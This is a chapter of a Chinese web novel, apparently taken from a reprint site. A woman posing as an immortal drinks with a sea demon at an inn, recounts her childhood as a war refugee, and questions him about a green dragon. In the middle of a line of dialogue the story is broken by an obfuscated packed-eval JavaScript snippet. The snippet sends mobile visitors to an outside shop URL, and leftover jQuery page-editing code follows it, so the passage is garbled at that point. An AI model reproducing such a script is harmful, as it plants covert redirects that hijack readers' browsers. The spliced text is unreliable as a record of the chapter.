14. 前尘事

作品:《人,龙可以饲养你吗

    “小仙长好眼力,这是雪芦州的名酒!”东家还以为希微喜欢这个,笑得越发殷勤起来,“这些年南北往来不容易,北边的好货越来越贵了,这一小坛就值五两白银。能得仙长青眼,别说五两,百两白银也使得,小仙长若喜欢,小人这就……”


    他抱着坛子趋前几步,叶尘音赶紧叫停,“你站下!”


    她就不明白了,这倒霉的东家既然开了旅舍,也该是常年迎来送往的,怎么这么不会看人的眼色——看希微那眼神,是“有兴趣”那意思吗,他都把“离我远点”几个字挂脸上了!


    “他不喜欢雪芦春。”叶尘音恐怕妖怪被惹毛了她拉不住,笑着打圆场,“但东家盛情,却之不恭。有没有不大醉人的酒,给他一瓶就行了,反正他也喝不明白。”


    她说着又瞄了希微一眼。缭绕的酒香里,希微再一次紧绷起来,手背上几乎露出了青筋。


    唉,又应激了。


    “有,有!”东家看她肯收,笑得更灿烂了,奉上了两个白玉酒壶,“这流仙露是不醉人的,清甜沁凉,喝多少都不要紧。小仙长尝一尝,倘若觉得好喝,小人舍下还收藏了几坛,一并送来!”


    他马不停蹄地斟上了两杯,叶尘音抿了一口,感觉确实甘甜不易醉,能喝。


    她就扭头问希微,“我看这个你能喝。你试试吗?我已经尝过了。”


    希微整个人仍然维持着戒备,眼神却软化了两分,点点头。


    于是他们这一桌丰盛的佳肴上,又多了两个玉壶和一套酒杯。


    叶尘音和东家又客套了几句,好不容易在希微忍无可忍之前把东家送走了,这才腾出手,揉了揉被晃花的眼睛。


    希微问:“他为什么要给我们送酒?”


    好,一上来就问出了关键问题,孺子可教。


    “他以为我们是出来游历的仙人。”叶尘音给他讲解自己的伪装方案,“你知道的,凡人对仙人一向很向往,这个身份虽说有点引人注目,但也不是没有好处。其一,就是能解释我们身上的许多特别之……哎,那是我的杯子!”


    她的语速没赶上希微的手速,眼睁睁看着希微伸手拿走了她刚喝过的玉酒杯,一口把杯里的残酒全喝空了。


    “哦,”希微又把杯子往她眼前一递,“那还给你。”


    “……不用了,”叶尘音默默地端起了另一个玉杯,“现在它是你的杯子了。”


    那杯子是能随便换着用的吗,像话吗?


    流仙露的确可口,不像雪芦春那刀子似的口感,希微很快就喝上了第二杯。他还没忘了刚才没说完的话,追问,“第二呢?”


    “第二就是,这个身份能让人敬畏。”叶尘音说,“不会有人敢来随便欺负我们。”


    希微反常地没应她,沉默片刻,忽然问,“你们人连自己的同类也欺负吗?”


    “嗯?”


    “我以为你们只是欺负妖怪。”


    叶尘音轻轻地笑了一声。


    “人和人之间能不互相欺凌,那是我们先贤幻想的一种美好境界。”她说,“别说是欺负了,如今,北方还有一群人拿着刀剑利器,在杀另一群人呢。人与人之间的战争,会打得血流遍野、白骨如山,许多人流离失所……并不比你们这样的大妖相杀要好多少。”


    希微道:“你说过,你也遇到过战乱,流浪了很久。”


    “是啊。”叶尘音无所谓地说道,“那时候我还小呢,才十岁。从博月州一路过来,看着可好欺负了,谁都能揉搓一把。逃出来没多久,身上的钱和干粮就都被流民抢得差不多了。还有动别的坏心思的……”


    有一晚忽然下了大雨,天气飞快地冷下来,她遇上了一个慈眉善目的大婶。大婶看她被雨浇透了,脸色青白瑟瑟发抖,带她去了一座废弃的小屋里,叫她在这里住一夜。


    迷迷糊糊地睡到半夜,她一睁眼,看见了两张鬼影似的男人的脸。


    幸亏这是间小猎屋,满是灰尘的榻下有把长刀——几乎和她的人差不多长,她一把抽出来,砍死了一个,砍伤了另外一个,拖着满身的血,跌跌撞撞地跑进了夜雨里。


    第二天,她远远地看见了给她指路的大婶,流着泪正把两具尸体拖出来。


    那刀从此成了她的宝贝,一个孤女好欺负,可抱着一把大刀,敢来招惹她的人就少多了。虽说对方人多势众的时候她还是难免吃亏,但起码大部分情况下,她还能保住挖回来的野菜野草什么的。


    也有女人、甚至老婆婆和她结伴走,和她组成“老弱妇孺”团体。别看她现在是个菜鸡凡人,那时候还是这帮老弱妇孺们的主心骨呢,她抱着刀走在最前面,其他流民们见了这刀,都远远地躲着,不敢来招惹她们。


    “那刀呢?”


    叶尘音笑了笑,“卖掉了。”


    希微睁大了眼睛,用瞳孔来表达:这也能卖?


    “没办法……为了救人嘛。”


    叶尘音低头扒了两口饭。要是能从头来过……好吧,她还是会卖了那把刀去救孟景,但一定会和孟景交换点别的,换点钱换个身份换件仙器,反正不会再和他订什么见鬼的婚约!


    希微看她神色郁郁,想了想,打了个响指。


    玉杯中的酒随即浮起了一个笑脸,丑兮兮的,很不聪明。


    叶尘音“噗嗤”一声笑了出来,一口把这个笑脸喝掉了——真难为他了,一直记着她画的最丑的这张笑脸,记着就记着吧,还非得一模一样地复原,也不说给她艺术加工一下。


    不过不得不说,她心情是好多了。


    她就开始和希微闲扯,留了个心眼,只说自己幼年时和流浪时候的经历,不提孟景和北昆仑。说着,还故意在话里留了几个口子,说自己遇上过什么年幼的精怪,多有趣多可爱;说自己一路走来见到人族种种民间信仰,如何千奇百怪,等等。


    她提这些,是想让希微接两句话,她好顺着转移话题,问问希微的前尘过往,再想法引导他和她说说那大青龙的事。


    可惜希微没接她的话茬,甚至他什么都没说,叶尘音说话的时候,他就呆呆地撑着下巴,看着她。


    他喝了酒,一向雪白的脸上蒸出了稀薄的血色,看上去没那么妖异,有点像个人了。


    叶尘音试探着叫,“希微?”


    希微煞有介事地点了下头,“嗯。”


    “你有在听我说话吗?”


    “没有。”


    “……”


    不是,他这是喝醉了吗?


    叶尘音张开五指,在他眼前晃了晃,“还记得我是谁吗?”


    “记得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541723|203426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,”他直勾勾地望着她,慢慢说,“你是叶尘音。”


    好,果然是醉了,不然肯定不会老实回答,顶多甩给她一个白眼。


    海里的妖怪这么容易醉吗,难怪醉鱼醉蟹什么的都是名菜……


    叶尘音眼珠一转,决定不和他绕弯子了,直接点,换个切入点。她朝希微笑了笑,站起身,缓缓走到饭厅里供奉的那青龙神像前。


    威严的青龙神像直视着她,黑面青袍,头生双角,目光如电。缭绕的烟气把它衬托得格外庄重,全然是个天生的神明。


    叶尘音装作打量的样子,把话在心里掂量了一阵,才道:“好特别的神像。我在其他地方都没见过,是这里才有的神明吗?”


    “不是神明,”希微漫不在意地说道,“是妖怪。”


    他果然认识那条大青龙!


    叶尘音下意识地朝希微望去。他根本没意识到自己已经醉了,还在给自己倒酒。流仙露循着下颌线流落,浸湿了透白的衣裳,锁骨越发峭丽,几如山雪将融。


    叶尘音只看了一眼就收回了视线,平息下怦怦的心跳,继续试探,“妖怪?”


    “嗯,和我一样……是海上的大妖怪。”


    和希微一样——好,她还低估了希微。


    “长角的海上妖怪……难道是龙?”


    “是条青色的老妖龙。”喝醉了的希微好说话多了,有问必答,“我认识的小海妖们都很怕它,所有妖怪都很怕它……只有你们人族不怕。”


    也不知道他是从哪看出人族不怕的,人族明明也很怕!


    “哦,那难怪会有这么多凡人信徒,”叶尘音做出惊喜的样子,“龙在我们人看来是再吉祥不过的了。它在哪里,我们回去的时候能顺道去看看吗?”


    “吉祥?”希微好像模糊地笑了一声,“有用的东西,你们都觉得吉祥吗?”


    叶尘音被他说得一愣,不知道他什么意思。


    “别想了。”希微懒懒地说道,“你见不到它,谁都见不到它。”


    话题开始渐渐地上了正轨,叶尘音试探着又问,“为什么?”


    这次希微没有回答。流仙露入口虽然甜,但后劲绵长,他已经越来越不清醒了。勉强被叶尘音拉回的神智再一次涣散,他再次注意到了叶尘音一张一合的嘴唇,花瓣似的,还沾了酒液,好像和了蜜的露水。


    一定很好吃,希微迷迷糊糊地想。


    当初,他为什么没有吃掉她呢?


    夜已经深了,叶尘音洗漱完,一头栽进旅舍的床上。


    她摸了摸自己的下巴,米粒大的两个伤口倒是愈合了,不过还能摸到血痂,也不知道明天早上能不能好。


    死妖怪,怕不是属狗的?


    她发愁地翻了个身,抱着被子,心里忧虑起来——她趁着希微喝醉的机会从他嘴里套妖龙的消息,希微有问必答,前前后后说了许多,但总结起来就是“躲它远点,别打主意”。


    后来她看希微真醉了,想把他挪进去睡觉,哪知道她才刚靠过去,希微忽然一探头,一口咬在了她下巴上!


    牙挺尖,一下就给她咬破了皮,死妖怪还抽了口气,捂着嘴抱怨地看她,“好痛。”


    ……咬着了她下颌骨,还嫌硌牙?


    她这被咬的还没说痛呢!